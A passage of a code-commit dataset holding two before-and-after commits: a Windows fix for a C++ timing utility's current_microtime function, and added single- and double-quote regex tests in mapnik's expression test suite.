failed\");\n return ret;\n#endif\n}\n\nvoid add_to_timespec(timespec *ts, int32_t nanoseconds) {\n guarantee(ts->tv_nsec >= 0 && ts->tv_nsec < BILLION);\n int64_t new_tv_nsec = ts->tv_nsec + nanoseconds;\n if (new_tv_nsec >= 0 || new_tv_nsec % BILLION == 0) {\n ts->tv_sec += new_tv_nsec \/ BILLION;\n ts->tv_nsec = new_tv_nsec % BILLION;\n } else {\n ts->tv_sec += new_tv_nsec \/ BILLION - 1;\n ts->tv_nsec = BILLION + new_tv_nsec % BILLION;\n }\n guarantee(ts->tv_nsec >= 0 && ts->tv_nsec < BILLION);\n}\n\ntimespec subtract_timespecs(const timespec &t1, const timespec &t2) {\n guarantee(t1.tv_nsec >= 0 && t1.tv_nsec < BILLION);\n guarantee(t2.tv_nsec >= 0 && t2.tv_nsec < BILLION);\n timespec res;\n res.tv_sec = t1.tv_sec - t2.tv_sec;\n if (t2.tv_nsec > t1.tv_nsec) {\n --res.tv_sec;\n res.tv_nsec = t1.tv_nsec + BILLION - t2.tv_nsec;\n } else {\n res.tv_nsec = t1.tv_nsec - t2.tv_nsec;\n }\n guarantee(res.tv_nsec >= 0 && res.tv_nsec < BILLION);\n return res;\n}\n\nbool operator<(const struct timespec &t1, const struct timespec &t2) {\n guarantee(t1.tv_nsec >= 0 && t1.tv_nsec < BILLION);\n guarantee(t2.tv_nsec >= 0 && t2.tv_nsec < BILLION);\n return t1.tv_sec < t2.tv_sec || (t1.tv_sec == t2.tv_sec && t1.tv_nsec < t2.tv_nsec);\n}\n\nbool operator>(const struct timespec &t1, const struct timespec &t2) {\n return t2 < t1;\n}\n\nbool operator<=(const struct timespec &t1, const struct timespec &t2) {\n guarantee(t1.tv_nsec >= 0 && t1.tv_nsec < BILLION);\n guarantee(t2.tv_nsec >= 0 && t2.tv_nsec < BILLION);\n return t1.tv_sec < t2.tv_sec || (t1.tv_sec == t2.tv_sec && t1.tv_nsec <= t2.tv_nsec);\n}\n\nbool operator>=(const struct timespec &t1, const struct timespec &t2) {\n return t2 <= t1;\n}\n\nticks_t get_ticks() {\n timespec tv = clock_monotonic();\n ticks_t ticks = secs_to_ticks(tv.tv_sec) + tv.tv_nsec;\n return ticks;\n}\n\ntime_t get_secs() {\n timespec tv = clock_realtime();\n return tv.tv_sec;\n}\n\ndouble ticks_to_secs(ticks_t ticks) {\n return ticks \/ static_cast<double>(BILLION);\n}\n\n<commit_msg>Fix current_microtime on Windows<commit_after>#include \"time.hpp\"\n\n#include <inttypes.h>\n\n#ifndef _MSC_VER\n#include <sys\/time.h>\n#endif\n\n#ifdef __MACH__\n#include <mach\/mach_time.h>\n#include \"thread_local.hpp\"\n#include \"utils.hpp\"\n#endif\n\n#include \"config\/args.hpp\"\n#include \"errors.hpp\"\n\n#ifdef _MSC_VER\n\nmicrotime_t current_microtime() {\n FILETIME time;\n#if _WIN32_WINNT >= 0x602 \/\/ Windows 8\n GetSystemTimePreciseAsFileTime(&time);\n#else\n GetSystemTimeAsFileTime(&time);\n#endif\n ULARGE_INTEGER nanos100;\n nanos100.LowPart = time.dwLowDateTime;\n nanos100.HighPart = time.dwHighDateTime;\n \/\/ Convert to Unix epoch\n nanos100.QuadPart -= 116444736000000000ULL;\n return nanos100.QuadPart \/ 10;\n}\n\n#else\n\nmicrotime_t current_microtime() {\n \/\/ This could be done more efficiently, surely.\n struct timeval t;\n DEBUG_VAR int res = gettimeofday(&t, nullptr);\n rassert(0 == res);\n return uint64_t(t.tv_sec) * MILLION + t.tv_usec;\n}\n\n#endif\n\nticks_t secs_to_ticks(time_t secs) {\n return static_cast<ticks_t>(secs) * BILLION;\n}\n\n#ifdef __MACH__\nTLS(mach_timebase_info_data_t, mach_time_info);\n#endif \/\/ __MACH__\n\ntimespec clock_monotonic() {\n#ifdef __MACH__\n mach_timebase_info_data_t mach_time_info = TLS_get_mach_time_info();\n if (mach_time_info.denom == 0) {\n mach_timebase_info(&mach_time_info);\n guarantee(mach_time_info.denom != 0);\n TLS_set_mach_time_info(mach_time_info);\n }\n const uint64_t t = mach_absolute_time();\n uint64_t nanosecs = t * mach_time_info.numer \/ mach_time_info.denom;\n timespec ret;\n ret.tv_sec = nanosecs \/ BILLION;\n ret.tv_nsec = nanosecs % BILLION;\n return ret;\n#elif defined(_WIN32)\n timespec ret;\n static THREAD_LOCAL LARGE_INTEGER frequency_hz = {0};\n if (frequency_hz.QuadPart == 0) {\n BOOL res = QueryPerformanceFrequency(&frequency_hz);\n guarantee_winerr(res, \"QueryPerformanceFrequency failed\");\n }\n LARGE_INTEGER counter;\n BOOL res = QueryPerformanceCounter(&counter);\n guarantee_winerr(res, \"QueryPerformanceCounter failed\");\n ret.tv_sec = counter.QuadPart \/ frequency_hz.QuadPart;\n ret.tv_nsec = (counter.QuadPart - ret.tv_sec * frequency_hz.QuadPart) * BILLION \/ frequency_hz.QuadPart;\n return ret;\n#else\n timespec ret;\n int res = clock_gettime(CLOCK_MONOTONIC, &ret);\n guarantee_err(res == 0, \"clock_gettime(CLOCK_MONOTIC, ...) failed\");\n return ret;\n#endif\n}\n\ntimespec clock_realtime() {\n#ifdef __MACH__\n struct timeval tv;\n int res = gettimeofday(&tv, nullptr);\n guarantee_err(res == 0, \"gettimeofday failed\");\n\n timespec ret;\n ret.tv_sec = tv.tv_sec;\n ret.tv_nsec = THOUSAND * tv.tv_usec;\n return ret;\n#elif defined(_MSC_VER)\n FILETIME time;\n#if _WIN32_WINNT >= 0x602 \/\/ Windows 8\n GetSystemTimePreciseAsFileTime(&time);\n#else\n GetSystemTimeAsFileTime(&time);\n#endif\n ULARGE_INTEGER nanos100;\n nanos100.LowPart = time.dwLowDateTime;\n nanos100.HighPart = time.dwHighDateTime;\n \/\/ Convert to Unix epoch\n nanos100.QuadPart -= 116444736000000000ULL;\n timespec ret;\n ret.tv_sec = nanos100.QuadPart \/ (MILLION * 10);\n ret.tv_nsec = (nanos100.QuadPart % (MILLION * 10)) * 100;\n return ret;\n#else\n timespec ret;\n int res = clock_gettime(CLOCK_REALTIME, &ret);\n guarantee_err(res == 0, \"clock_gettime(CLOCK_REALTIME) failed\");\n return ret;\n#endif\n}\n\nvoid add_to_timespec(timespec *ts, int32_t nanoseconds) {\n guarantee(ts->tv_nsec >= 0 && ts->tv_nsec < BILLION);\n int64_t new_tv_nsec = ts->tv_nsec + nanoseconds;\n if (new_tv_nsec >= 0 || new_tv_nsec % BILLION == 0) {\n ts->tv_sec += new_tv_nsec \/ BILLION;\n ts->tv_nsec = new_tv_nsec % BILLION;\n } else {\n ts->tv_sec += new_tv_nsec \/ BILLION - 1;\n ts->tv_nsec = BILLION + new_tv_nsec % BILLION;\n }\n guarantee(ts->tv_nsec >= 0 && ts->tv_nsec < BILLION);\n}\n\ntimespec subtract_timespecs(const timespec &t1, const timespec &t2) {\n guarantee(t1.tv_nsec >= 0 && t1.tv_nsec < BILLION);\n guarantee(t2.tv_nsec >= 0 && t2.tv_nsec < BILLION);\n timespec res;\n res.tv_sec = t1.tv_sec - t2.tv_sec;\n if (t2.tv_nsec > t1.tv_nsec) {\n --res.tv_sec;\n res.tv_nsec = t1.tv_nsec + BILLION - t2.tv_nsec;\n } else {\n res.tv_nsec = t1.tv_nsec - t2.tv_nsec;\n }\n guarantee(res.tv_nsec >= 0 && res.tv_nsec < BILLION);\n return res;\n}\n\nbool operator<(const struct timespec &t1, const struct timespec &t2) {\n guarantee(t1.tv_nsec >= 0 && t1.tv_nsec < BILLION);\n guarantee(t2.tv_nsec >= 0 && t2.tv_nsec < BILLION);\n return t1.tv_sec < t2.tv_sec || (t1.tv_sec == t2.tv_sec && t1.tv_nsec < t2.tv_nsec);\n}\n\nbool operator>(const struct timespec &t1, const struct timespec &t2) {\n return t2 < t1;\n}\n\nbool operator<=(const struct timespec &t1, const struct timespec &t2) {\n guarantee(t1.tv_nsec >= 0 && t1.tv_nsec < BILLION);\n guarantee(t2.tv_nsec >= 0 && t2.tv_nsec < BILLION);\n return t1.tv_sec < t2.tv_sec || (t1.tv_sec == t2.tv_sec && t1.tv_nsec <= t2.tv_nsec);\n}\n\nbool operator>=(const struct timespec &t1, const struct timespec &t2) {\n return t2 <= t1;\n}\n\nticks_t get_ticks() {\n timespec tv = clock_monotonic();\n ticks_t ticks = secs_to_ticks(tv.tv_sec) + tv.tv_nsec;\n return ticks;\n}\n\ntime_t get_secs() {\n timespec tv = clock_realtime();\n return tv.tv_sec;\n}\n\ndouble ticks_to_secs(ticks_t ticks) {\n return ticks \/ static_cast<double>(BILLION);\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"catch_ext.hpp\"\n\n#include <mapnik\/expression.hpp>\n#include <mapnik\/expression_evaluator.hpp>\n#include <mapnik\/expression_string.hpp>\n#include <mapnik\/wkt\/wkt_factory.hpp>\n#include <mapnik\/feature.hpp>\n#include <mapnik\/feature_factory.hpp>\n#include <mapnik\/unicode.hpp>\n\n#include <functional>\n#include <map>\n\nnamespace {\n\ntemplate <typename Properties>\nmapnik::feature_ptr make_test_feature(mapnik::value_integer id, std::string const& wkt, Properties const& prop)\n{\n auto ctx = std::make_shared<mapnik::context_type>();\n mapnik::feature_ptr feature(mapnik::feature_factory::create(ctx, id));\n mapnik::geometry::geometry<double> geom;\n if (mapnik::from_wkt(wkt, geom))\n {\n feature->set_geometry(std::move(geom));\n }\n\n for (auto const& kv : prop)\n {\n feature->put_new(kv.first, kv.second);\n }\n return feature;\n}\n\ntemplate <typename Feature, typename Expression>\nmapnik::value_type evaluate(Feature const& feature, Expression const& expr)\n{\n auto value = mapnik::util::apply_visitor(\n mapnik::evaluate<Feature, mapnik::value_type, mapnik::attributes>(\n feature, mapnik::attributes()), expr);\n return value;\n}\n\nmapnik::value evaluate_string(mapnik::feature_ptr const& feature, std::string const& str)\n{\n auto expr = mapnik::parse_expression(str);\n return evaluate(*feature, *expr);\n}\n\nstd::string parse_and_dump(std::string const& str)\n{\n auto expr = mapnik::parse_expression(str);\n return mapnik::to_expression_string(*expr);\n}\n\n} \/\/ namespace\n\nTEST_CASE(\"expressions\")\n{\n using namespace std::placeholders;\n using properties_type = std::map<std::string, mapnik::value>;\n mapnik::transcoder tr(\"utf8\");\n\n properties_type prop = {{ \"foo\" , tr.transcode(\"bar\") },\n { \"name\" , tr.transcode(\"Québec\")},\n { \"grass\" , tr.transcode(\"grow\")},\n { \"wind\" , tr.transcode(\"blow\")},\n { \"sky\" , tr.transcode(\"is blue\")},\n { \"τ\" , mapnik::value_double(6.2831853)},\n { \"double\", mapnik::value_double(1.23456)},\n { \"int\" , mapnik::value_integer(123)},\n { \"bool\" , mapnik::value_bool(true)},\n { \"null\" , mapnik::value_null()}};\n\n auto feature = make_test_feature(1, \"POINT(100 200)\", prop);\n auto eval = std::bind(evaluate_string, feature, _1);\n auto approx = Approx::custom().epsilon(1e-6);\n\n \/\/ primary expressions\n \/\/ null\n TRY_CHECK(parse_and_dump(\"null\") == \"null\");\n \/\/ boolean\n TRY_CHECK(parse_and_dump(\"true\") == \"true\");\n TRY_CHECK(parse_and_dump(\"false\") == \"false\");\n \/\/ floating point\n TRY_CHECK(parse_and_dump(\"3.14159\") == \"3.14159\");\n \/\/ integer\n TRY_CHECK(parse_and_dump(\"123\") == \"123\");\n \/\/ unicode\n TRY_CHECK(parse_and_dump(\"''\") == \"''\");\n TRY_CHECK(parse_and_dump(\"'single-quoted string'\") == \"'single-quoted string'\");\n TRY_CHECK(parse_and_dump(\"\\\"double-quoted string\\\"\") == \"'double-quoted string'\");\n TRY_CHECK(parse_and_dump(\"'escaped \\\\' apostrophe'\") == \"'escaped \\\\' apostrophe'\");\n TRY_CHECK(parse_and_dump(\"'escaped \\\\\\\\ backslash'\") == \"'escaped \\\\\\\\ backslash'\");\n\n \/\/ floating point constants\n TRY_CHECK(parse_and_dump(\"pi\") == \"3.14159\");\n TRY_CHECK(parse_and_dump(\"deg_to_rad\") == \"0.0174533\");\n TRY_CHECK(parse_and_dump(\"rad_to_deg\") == \"57.2958\");\n\n \/\/ ascii attribute name\n TRY_CHECK(eval(\" [foo]='bar' \") == true);\n\n \/\/ unicode attribute name\n TRY_CHECK(eval(\"[τ]\") == prop.at(\"τ\"));\n TRY_CHECK(eval(\"[τ]\") == eval(u8\"[\\u03C4]\"));\n\n \/\/ change to TRY_CHECK once \\u1234 escape sequence in attribute name\n \/\/ is implemented in expression grammar\n CHECK_NOFAIL(eval(\"[τ]\") == eval(\"[\\\\u03C3]\"));\n\n \/\/ unary functions\n \/\/ sin \/ cos\n TRY_CHECK(eval(\" sin(0.25 * pi) \/ cos(0.25 * pi) \").to_double() == approx(1.0));\n \/\/ tan\n TRY_CHECK(eval(\" tan(0.25 * pi) \").to_double() == approx(1.0));\n \/\/ atan\n TRY_CHECK(eval(\" rad_to_deg * atan(1.0) \").to_double() == approx(45.0));\n \/\/ exp\n TRY_CHECK(eval(\" exp(0.0) \") == 1.0);\n \/\/ log\n TRY_CHECK(eval(\" log(1.0) \") == 0.0);\n TRY_CHECK(eval(\" log(exp(1.0)) \") == 1.0);\n \/\/ abs\n TRY_CHECK(eval(\" abs(cos(-pi)) \") == 1.0);\n \/\/ length (string)\n TRY_CHECK(eval(\" length('1234567890') \").to_int() == 10);\n\n \/\/ binary functions\n \/\/ min\n TRY_CHECK(eval(\" min(-0.01, 0.001) \") == -0.01);\n \/\/ max\n TRY_CHECK(eval(\" max(0.01, -0.1) \") == 0.01);\n \/\/ pow\n TRY_CHECK(eval(\" pow(2, 32) \") == 4294967296.0);\n\n \/\/ geometry types\n TRY_CHECK(eval(\" [mapnik::geometry_type] = point \") == true);\n TRY_CHECK(eval(\" [ mapnik::geometry_type] <> linestring \") == true);\n TRY_CHECK(eval(\" [mapnik::geometry_type ] != polygon \") == true);\n TRY_CHECK(eval(\" [ mapnik::geometry_type ] neq collection \") == true);\n TRY_CHECK(eval(\" [mapnik::geometry_type] eq collection \") == false);\n\n \/\/unary expression\n TRY_CHECK(eval(\" -123.456 \") == -123.456);\n TRY_CHECK(eval(\" +123.456 \") == 123.456);\n\n \/\/ multiplicative\/additive\n auto expr = mapnik::parse_expression(\"(2.0 * 2.0 + 3.0 * 3.0)\/(2.0 * 2.0 - 3.0 * 3.0)\");\n TRY_CHECK(evaluate(*feature, *expr) == -2.6);\n auto expr2 = mapnik::parse_expression(\"(2.0 * 2.0 + 3.0 * 3.0)\/((2.0 - 3.0) * (2.0 + 3.0))\");\n TRY_CHECK(evaluate(*feature, *expr) == evaluate(*feature, *expr2));\n\n \/\/ logical\n TRY_CHECK(eval(\" [int] = 123 and [double] = 1.23456 && [bool] = true and [null] = null && [foo] = 'bar' \") == true);\n TRY_CHECK(eval(\" [int] = 456 or [foo].match('foo') || length([foo]) = 3 \") == true);\n TRY_CHECK(eval(\" not true and not true \") == eval(\" (not true ) and (not true ) \"));\n TRY_CHECK(eval(\" not true or not true \") == eval(\" (not true ) or (not true ) \"));\n TRY_CHECK(eval(\" not false and not false \") == eval(\" (not false) and (not false) \"));\n TRY_CHECK(eval(\" not false or not false \") == eval(\" (not false) or (not false) \"));\n\n \/\/ test not\/and\/or precedence using combinations of \"not EQ1 OP1 not EQ2 OP2 not EQ3\"\n TRY_CHECK(eval(\" not [grass] = 'grow' and not [wind] = 'blow' and not [sky] = 'is blue' \") == false);\n TRY_CHECK(eval(\" not [grass] = 'grow' and not [wind] = 'blow' or not [sky] = 'is blue' \") == false);\n TRY_CHECK(eval(\" not [grass] = 'grow' or not [wind] = 'blow' and not [sky] = 'is blue' \") == false);\n TRY_CHECK(eval(\" not [grass] = 'grow' or not [wind] = 'blow' or not [sky] = 'is blue' \") == false);\n TRY_CHECK(eval(\" not [grass] = 'grew' and not [wind] = 'blew' and not [sky] = 'was blue' \") == true);\n TRY_CHECK(eval(\" not [grass] = 'grew' and not [wind] = 'blew' or not [sky] = 'was blue' \") == true);\n TRY_CHECK(eval(\" not [grass] = 'grew' or not [wind] = 'blew' and not [sky] = 'was blue' \") == true);\n TRY_CHECK(eval(\" not [grass] = 'grew' or not [wind] = 'blew' or not [sky] = 'was blue' \") == true);\n\n \/\/ relational\n TRY_CHECK(eval(\" [int] > 100 and [int] gt 100.0 and [double] < 2 and [double] lt 2.0 \") == true);\n TRY_CHECK(eval(\" [int] >= 123 and [int] ge 123.0 and [double] <= 1.23456 and [double] le 1.23456 \") == true);\n\n \/\/ empty string\/null equality\n TRY_CHECK(eval(\"[null] = null\") == true);\n TRY_CHECK(eval(\"[null] != null\") == false);\n TRY_CHECK(eval(\"[null] = ''\") == false);\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ref: https:\/\/github.com\/mapnik\/mapnik\/issues\/1859\n TRY_CHECK(eval(\"[null] != ''\") == false); \/\/ back compatible - will be changed in 3.1.x\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n TRY_CHECK(eval(\"'' = [null]\") == false);\n TRY_CHECK(eval(\"'' != [null]\") == true);\n\n \/\/ regex\n \/\/ replace\n TRY_CHECK(eval(\" [foo].replace(\\\"(\\\\B)|( )\\\",'$1 ') \") == tr.transcode(\"b a r\"));\n\n \/\/ https:\/\/en.wikipedia.org\/wiki\/Chess_symbols_in_Unicode\n \/\/'\\u265C\\u265E\\u265D\\u265B\\u265A\\u265D\\u265E\\u265C' - black chess figures\n \/\/ replace black knights with white knights\n auto val0 = eval(u8\"'\\u265C\\u265E\\u265D\\u265B\\u265A\\u265D\\u265E\\u265C'.replace('\\u265E','\\u2658')\");\n auto val1 = eval(\"'♜♞♝♛♚♝♞♜'.replace('♞','♘')\"); \/\/ ==> expected ♜♘♝♛♚♝♘♜\n TRY_CHECK(val0 == val1);\n TRY_CHECK(val0.to_string() == val1.to_string()); \/\/ UTF-8\n TRY_CHECK(val0.to_unicode() == val1.to_unicode()); \/\/ Unicode\n \/\/ \\u+NNNN \\U+NNNNNNNN \\xNN\\xNN\n auto val3 = eval(\"'\\\\u262f\\\\xF0\\\\x9F\\\\x8D\\\\xB7'\");\n auto val4 = eval(\"'\\\\U0000262f\\\\U0001F377'\");\n auto val5 = eval(\"\\\"\\\\u262f\\\\xF0\\\\x9F\\\\x8D\\\\xB7\\\"\");\n auto val6 = eval(\"\\\"\\\\U0000262f\\\\U0001F377\\\"\");\n \/\/ UTF16 surrogate pairs work also ;)\n \/\/ \\ud83d\\udd7a\\ud83c\\udffc => \\U0001F57A\\U0001F3FC works also\n \/\/ TODO: find a way to enter UTF16 pairs\n TRY_CHECK(val3 == val4);\n TRY_CHECK(val5 == val6);\n TRY_CHECK(val3.to_string() == val4.to_string()); \/\/ UTF-8\n TRY_CHECK(val3.to_unicode() == val4.to_unicode()); \/\/ Unicod\n TRY_CHECK(val5.to_string() == val6.to_string()); \/\/ UTF-8\n TRY_CHECK(val5.to_unicode() == val6.to_unicode()); \/\/ Unicode\n\n \/\/ following test will fail if boost_regex is built without ICU support (unpaired surrogates in output)\n TRY_CHECK(eval(\"[name].replace('(\\\\B)|( )',' ') \") == tr.transcode(\"Q u é b e c\"));\n TRY_CHECK(eval(\"'Москва'.replace('(?<!^)(\\\\B|b)(?!$)',' ')\") == tr.transcode(\"М о с к в а\"));\n \/\/ 'foo' =~ s:(\\w)\\1:$1x:r\n TRY_CHECK(eval(\" 'foo'.replace('(\\\\w)\\\\1', '$1x') \") == tr.transcode(\"fox\"));\n TRY_CHECK(parse_and_dump(\" 'foo'.replace('(\\\\w)\\\\1', '$1x') \") == \"'foo'.replace('(\\\\w)\\\\1','$1x')\");\n\n \/\/ match\n TRY_CHECK(eval(\" [name].match('Québec') \") == true);\n \/\/ 'Québec' =~ m:^Q\\S*$:\n TRY_CHECK(eval(\" [name].match('^Q\\\\S*$') \") == true);\n TRY_CHECK(parse_and_dump(\" [name].match('^Q\\\\S*$') \") == \"[name].match('^Q\\\\S*$')\");\n\n \/\/ string & value concatenation\n \/\/ this should evaluate as two strings concatenating\n TRY_CHECK(eval(\"Hello + '!'\") == eval(\"'Hello!'\"));\n \/\/ this should evaulate as a combination of an int value and string\n TRY_CHECK(eval(\"[int]+m\") == eval(\"'123m'\"));\n}\n<commit_msg>add more single\/double quotes tests<commit_after>#include \"catch_ext.hpp\"\n\n#include <mapnik\/expression.hpp>\n#include <mapnik\/expression_evaluator.hpp>\n#include <mapnik\/expression_string.hpp>\n#include <mapnik\/wkt\/wkt_factory.hpp>\n#include <mapnik\/feature.hpp>\n#include <mapnik\/feature_factory.hpp>\n#include <mapnik\/unicode.hpp>\n\n#include <functional>\n#include <map>\n\nnamespace {\n\ntemplate <typename Properties>\nmapnik::feature_ptr make_test_feature(mapnik::value_integer id, std::string const& wkt, Properties const& prop)\n{\n auto ctx = std::make_shared<mapnik::context_type>();\n mapnik::feature_ptr feature(mapnik::feature_factory::create(ctx, id));\n mapnik::geometry::geometry<double> geom;\n if (mapnik::from_wkt(wkt, geom))\n {\n feature->set_geometry(std::move(geom));\n }\n\n for (auto const& kv : prop)\n {\n feature->put_new(kv.first, kv.second);\n }\n return feature;\n}\n\ntemplate <typename Feature, typename Expression>\nmapnik::value_type evaluate(Feature const& feature, Expression const& expr)\n{\n auto value = mapnik::util::apply_visitor(\n mapnik::evaluate<Feature, mapnik::value_type, mapnik::attributes>(\n feature, mapnik::attributes()), expr);\n return value;\n}\n\nmapnik::value evaluate_string(mapnik::feature_ptr const& feature, std::string const& str)\n{\n auto expr = mapnik::parse_expression(str);\n return evaluate(*feature, *expr);\n}\n\nstd::string parse_and_dump(std::string const& str)\n{\n auto expr = mapnik::parse_expression(str);\n return mapnik::to_expression_string(*expr);\n}\n\n} \/\/ namespace\n\nTEST_CASE(\"expressions\")\n{\n using namespace std::placeholders;\n using properties_type = std::map<std::string, mapnik::value>;\n mapnik::transcoder tr(\"utf8\");\n\n properties_type prop = {{ \"foo\" , tr.transcode(\"bar\") },\n { \"name\" , tr.transcode(\"Québec\")},\n { \"grass\" , tr.transcode(\"grow\")},\n { \"wind\" , tr.transcode(\"blow\")},\n { \"sky\" , tr.transcode(\"is blue\")},\n { \"τ\" , mapnik::value_double(6.2831853)},\n { \"double\", mapnik::value_double(1.23456)},\n { \"int\" , mapnik::value_integer(123)},\n { \"bool\" , mapnik::value_bool(true)},\n { \"null\" , mapnik::value_null()}};\n\n auto feature = make_test_feature(1, \"POINT(100 200)\", prop);\n auto eval = std::bind(evaluate_string, feature, _1);\n auto approx = Approx::custom().epsilon(1e-6);\n\n \/\/ primary expressions\n \/\/ null\n TRY_CHECK(parse_and_dump(\"null\") == \"null\");\n \/\/ boolean\n TRY_CHECK(parse_and_dump(\"true\") == \"true\");\n TRY_CHECK(parse_and_dump(\"false\") == \"false\");\n \/\/ floating point\n TRY_CHECK(parse_and_dump(\"3.14159\") == \"3.14159\");\n \/\/ integer\n TRY_CHECK(parse_and_dump(\"123\") == \"123\");\n \/\/ unicode\n TRY_CHECK(parse_and_dump(\"''\") == \"''\");\n TRY_CHECK(parse_and_dump(\"'single-quoted string'\") == \"'single-quoted string'\");\n TRY_CHECK(parse_and_dump(\"\\\"double-quoted string\\\"\") == \"'double-quoted string'\");\n TRY_CHECK(parse_and_dump(\"'escaped \\\\' apostrophe'\") == \"'escaped \\\\' apostrophe'\");\n TRY_CHECK(parse_and_dump(\"'escaped \\\\\\\\ backslash'\") == \"'escaped \\\\\\\\ backslash'\");\n\n \/\/ floating point constants\n TRY_CHECK(parse_and_dump(\"pi\") == \"3.14159\");\n TRY_CHECK(parse_and_dump(\"deg_to_rad\") == \"0.0174533\");\n TRY_CHECK(parse_and_dump(\"rad_to_deg\") == \"57.2958\");\n\n \/\/ ascii attribute name\n TRY_CHECK(eval(\" [foo]='bar' \") == true);\n\n \/\/ unicode attribute name\n TRY_CHECK(eval(\"[τ]\") == prop.at(\"τ\"));\n TRY_CHECK(eval(\"[τ]\") == eval(u8\"[\\u03C4]\"));\n\n \/\/ change to TRY_CHECK once \\u1234 escape sequence in attribute name\n \/\/ is implemented in expression grammar\n CHECK_NOFAIL(eval(\"[τ]\") == eval(\"[\\\\u03C3]\"));\n\n \/\/ unary functions\n \/\/ sin \/ cos\n TRY_CHECK(eval(\" sin(0.25 * pi) \/ cos(0.25 * pi) \").to_double() == approx(1.0));\n \/\/ tan\n TRY_CHECK(eval(\" tan(0.25 * pi) \").to_double() == approx(1.0));\n \/\/ atan\n TRY_CHECK(eval(\" rad_to_deg * atan(1.0) \").to_double() == approx(45.0));\n \/\/ exp\n TRY_CHECK(eval(\" exp(0.0) \") == 1.0);\n \/\/ log\n TRY_CHECK(eval(\" log(1.0) \") == 0.0);\n TRY_CHECK(eval(\" log(exp(1.0)) \") == 1.0);\n \/\/ abs\n TRY_CHECK(eval(\" abs(cos(-pi)) \") == 1.0);\n \/\/ length (string)\n TRY_CHECK(eval(\" length('1234567890') \").to_int() == 10);\n\n \/\/ binary functions\n \/\/ min\n TRY_CHECK(eval(\" min(-0.01, 0.001) \") == -0.01);\n \/\/ max\n TRY_CHECK(eval(\" max(0.01, -0.1) \") == 0.01);\n \/\/ pow\n TRY_CHECK(eval(\" pow(2, 32) \") == 4294967296.0);\n\n \/\/ geometry types\n TRY_CHECK(eval(\" [mapnik::geometry_type] = point \") == true);\n TRY_CHECK(eval(\" [ mapnik::geometry_type] <> linestring \") == true);\n TRY_CHECK(eval(\" [mapnik::geometry_type ] != polygon \") == true);\n TRY_CHECK(eval(\" [ mapnik::geometry_type ] neq collection \") == true);\n TRY_CHECK(eval(\" [mapnik::geometry_type] eq collection \") == false);\n\n \/\/unary expression\n TRY_CHECK(eval(\" -123.456 \") == -123.456);\n TRY_CHECK(eval(\" +123.456 \") == 123.456);\n\n \/\/ multiplicative\/additive\n auto expr = mapnik::parse_expression(\"(2.0 * 2.0 + 3.0 * 3.0)\/(2.0 * 2.0 - 3.0 * 3.0)\");\n TRY_CHECK(evaluate(*feature, *expr) == -2.6);\n auto expr2 = mapnik::parse_expression(\"(2.0 * 2.0 + 3.0 * 3.0)\/((2.0 - 3.0) * (2.0 + 3.0))\");\n TRY_CHECK(evaluate(*feature, *expr) == evaluate(*feature, *expr2));\n\n \/\/ logical\n TRY_CHECK(eval(\" [int] = 123 and [double] = 1.23456 && [bool] = true and [null] = null && [foo] = 'bar' \") == true);\n TRY_CHECK(eval(\" [int] = 456 or [foo].match('foo') || length([foo]) = 3 \") == true);\n TRY_CHECK(eval(\" not true and not true \") == eval(\" (not true ) and (not true ) \"));\n TRY_CHECK(eval(\" not true or not true \") == eval(\" (not true ) or (not true ) \"));\n TRY_CHECK(eval(\" not false and not false \") == eval(\" (not false) and (not false) \"));\n TRY_CHECK(eval(\" not false or not false \") == eval(\" (not false) or (not false) \"));\n\n \/\/ test not\/and\/or precedence using combinations of \"not EQ1 OP1 not EQ2 OP2 not EQ3\"\n TRY_CHECK(eval(\" not [grass] = 'grow' and not [wind] = 'blow' and not [sky] = 'is blue' \") == false);\n TRY_CHECK(eval(\" not [grass] = 'grow' and not [wind] = 'blow' or not [sky] = 'is blue' \") == false);\n TRY_CHECK(eval(\" not [grass] = 'grow' or not [wind] = 'blow' and not [sky] = 'is blue' \") == false);\n TRY_CHECK(eval(\" not [grass] = 'grow' or not [wind] = 'blow' or not [sky] = 'is blue' \") == false);\n TRY_CHECK(eval(\" not [grass] = 'grew' and not [wind] = 'blew' and not [sky] = 'was blue' \") == true);\n TRY_CHECK(eval(\" not [grass] = 'grew' and not [wind] = 'blew' or not [sky] = 'was blue' \") == true);\n TRY_CHECK(eval(\" not [grass] = 'grew' or not [wind] = 'blew' and not [sky] = 'was blue' \") == true);\n TRY_CHECK(eval(\" not [grass] = 'grew' or not [wind] = 'blew' or not [sky] = 'was blue' \") == true);\n\n \/\/ relational\n TRY_CHECK(eval(\" [int] > 100 and [int] gt 100.0 and [double] < 2 and [double] lt 2.0 \") == true);\n TRY_CHECK(eval(\" [int] >= 123 and [int] ge 123.0 and [double] <= 1.23456 and [double] le 1.23456 \") == true);\n\n \/\/ empty string\/null equality\n TRY_CHECK(eval(\"[null] = null\") == true);\n TRY_CHECK(eval(\"[null] != null\") == false);\n TRY_CHECK(eval(\"[null] = ''\") == false);\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ref: https:\/\/github.com\/mapnik\/mapnik\/issues\/1859\n TRY_CHECK(eval(\"[null] != ''\") == false); \/\/ back compatible - will be changed in 3.1.x\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n TRY_CHECK(eval(\"'' = [null]\") == false);\n TRY_CHECK(eval(\"'' != [null]\") == true);\n\n \/\/ regex\n \/\/ replace\n TRY_CHECK(eval(\" [foo].replace('(\\\\B)|( )','$1 ') \") == tr.transcode(\"b a r\")); \/\/ single quotes\n TRY_CHECK(eval(\" [foo].replace(\\\"(\\\\B)|( )\\\",\\\"$1 \\\") \") == tr.transcode(\"b a r\")); \/\/ double quotes\n\n \/\/ https:\/\/en.wikipedia.org\/wiki\/Chess_symbols_in_Unicode\n \/\/'\\u265C\\u265E\\u265D\\u265B\\u265A\\u265D\\u265E\\u265C' - black chess figures\n \/\/ replace black knights with white knights\n auto val0 = eval(u8\"'\\u265C\\u265E\\u265D\\u265B\\u265A\\u265D\\u265E\\u265C'.replace('\\u265E','\\u2658')\");\n auto val1 = eval(\"'♜♞♝♛♚♝♞♜'.replace('♞','♘')\"); \/\/ ==> expected ♜♘♝♛♚♝♘♜\n TRY_CHECK(val0 == val1);\n TRY_CHECK(val0.to_string() == val1.to_string()); \/\/ UTF-8\n TRY_CHECK(val0.to_unicode() == val1.to_unicode()); \/\/ Unicode\n \/\/ \\u+NNNN \\U+NNNNNNNN 